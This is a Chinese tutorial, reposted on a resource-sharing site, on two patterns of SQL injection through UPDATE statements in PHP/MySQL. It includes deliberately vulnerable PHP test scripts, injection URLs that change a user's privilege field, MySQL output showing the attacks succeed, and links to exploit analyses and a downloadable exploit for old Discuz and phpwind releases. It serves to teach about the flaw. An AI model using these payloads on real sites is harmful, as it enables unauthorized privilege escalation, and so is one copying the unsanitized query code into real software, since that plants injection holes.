也想出现在这里? 联系我们

UPDATE注射的两个基本模式

作者 : 小编 本文共3140个字,预计阅读时间需要8分钟 发布时间: 2021-06-2 共826人阅读
也想出现在这里? 联系我们

一.测试环境:

OS: Windowsxp sp2

php: php 4.3.10 (

mysql 4.1.9

apache 1.3.33

二.测试数据库结构:

—–start—

— 数据库: `test`

— ——————————————————–

— 表的结构 `userinfo`

CREATE TABLE `userinfo` (

`groudid` varchar(12) NOT NULL default ’1’,

`user` varchar(12) NOT NULL default ’heige’,

`pass` varchar(122) NOT NULL default ’123456’

) ENGINE=MyISAM DEFAULT CHARSET=latin1;

— 导出表中的数据 `userinfo`

INSERT INTO `userinfo` VALUES (’2’, ’heige’, ’123456’);

——end——-

三.测试模式

1,变量没有带’’或""[MOD1]

<?php

//test1.php Mod1

$servername = "localhost";

$dbusername = "root";

$dbpassword = "";

$dbname = "test";

mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");

$sql = "update userinfo set pass=$p where user=’heige’";//<–$P没有使用单引号

$result = mysql_db_query($dbname, $sql);

$userinfo = mysql_fetch_array($result);

echo "<p>SQL Query:$sql<p>";

?>

脚本里只是修改user=’heige’的pass,如果groudid表示用户的权限等级,我们的目的就是通过构造$p 来达

到修改groupid的目的:

那么我们提交:http://127.0.0.1/test1.php?p=123456,groudid=1

在mysql里查询:

mysql> select * from userinfo;

——— ——- ——–

| groudid | user | pass |

——— ——- ——–

| 1 | heige | 123456 |

——— ——- ——–

1 row in set (0.01 sec)

用户heige的groudid又2改为1了 🙂

所以我们可以得到没有’’或"" update的注射是可以成功的,这个就是我们的模式1。

2,变量带’’或""[MOD2]

<?php

//test2.php

$servername = "localhost";

$dbusername = "root";

$dbpassword = "";

$dbname = "test";

mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");

$sql = "update userinfo set pass=’$p’ where user=’heige’";//<–$P使用单引号

$result = mysql_db_query($dbname, $sql);

$userinfo = mysql_fetch_array($result);

echo "<p>SQL Query:$sql<p>";

?>

为了关闭’我们构造$p应该为123456’,groudid=’2 提交:

http://127.0.0.1/test2.php?p=123456’,groudid=’1 在gpc=on的情况下’变成了\\’

提交的语句变成:SQL Query:update userinfo set pass=’123456\\’,groudid=\\’1’ where user=’heige’

mysql查询:

mysql> select * from userinfo;

——— ——- ——————–

| groudid | user | pass |

——— ——- ——————–

| 2 | heige | 123456’,groudid=’1 |

——— ——- ——————–

1 row in set (0.00 sec)

groudid并没有被修改。那么在变量被’’或""时 就完全没有被注射呢?不是 下面我们看模式2:

<?php

//test3.php Mod2

$servername = "localhost";

$dbusername = "root";

$dbpassword = "";

$dbname = "test";

mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");

$sql = "update userinfo set pass=’$p’ where user=’heige’";//<–$P使用单引号

$result = mysql_db_query($dbname, $sql);

mysql_fetch_array($result); //$p的数据写入数据库

$sql= "select pass from userinfo where user=’heige’";

$result = mysql_db_query($dbname, $sql);

$userinfo=mysql_fetch_array($result);

echo $userinfo[0]; //把pass查询输出给$userinfo[0]

$sql ="update userinfo set pass=’$userinfo[0]’ where user=’heige’";

$result = mysql_db_query($dbname, $sql);

mysql_fetch_array($result); //把$userinfo[0] 再次update

?>

我们测试下,提交:http://127.0.0.1/test3.php?p=123456’,groudid=’1

回mysql查询下 :

mysql> select * from userinfo;

——— ——- ——–

| groudid | user | pass |

——— ——- ——–

| 1 | heige | 123456 |

——— ——- ——–

1 row in set (0.00 sec)

HaHa~~ 成功注射 修改groudid为1。 这个就是我们的模式2了,简单的描叙如下:

update–>select–>update

四.实际模式

模式1:Discuz 2.0/2.2 register.php 注射

漏洞分析:http://4ngel.net/article/41.htm

Discuz 2.0/2.2 register.php Remote Exploit :http://4ngel.net/project/discuz_reg.htm

模式2:phpwind 2.0.2和3.31e 权限提升漏洞

漏洞分析:

update (profile.php 注射变量为$proicon update语句里为,icon=’$userdb[icon]’)

|

v

select (jop.php)

|

v

updtate (jop.php)

Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe

1. 本站所提供的源码模板(主题/插件)等资源仅供学习交流,若使用商业用途,请购买正版授权,否则产生的一切后果将由下载用户自行承担,有部分资源为网上收集或仿制而来,若模板侵犯了您的合法权益,请来信通知我们(Email: rayer@88.com),我们会及时删除,给您带来的不便,我们深表歉意!
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » UPDATE注射的两个基本模式

常见问题FAQ

免费下载或者VIP会员专享资源能否直接商用?
本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
织梦模板使用说明
你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html

发表评论

Copyright 2015-2020 版权所有 资源分享吧 Rights Reserved. 蜀ICP备14022927号-1
开通VIP 享更多特权,建议使用QQ登录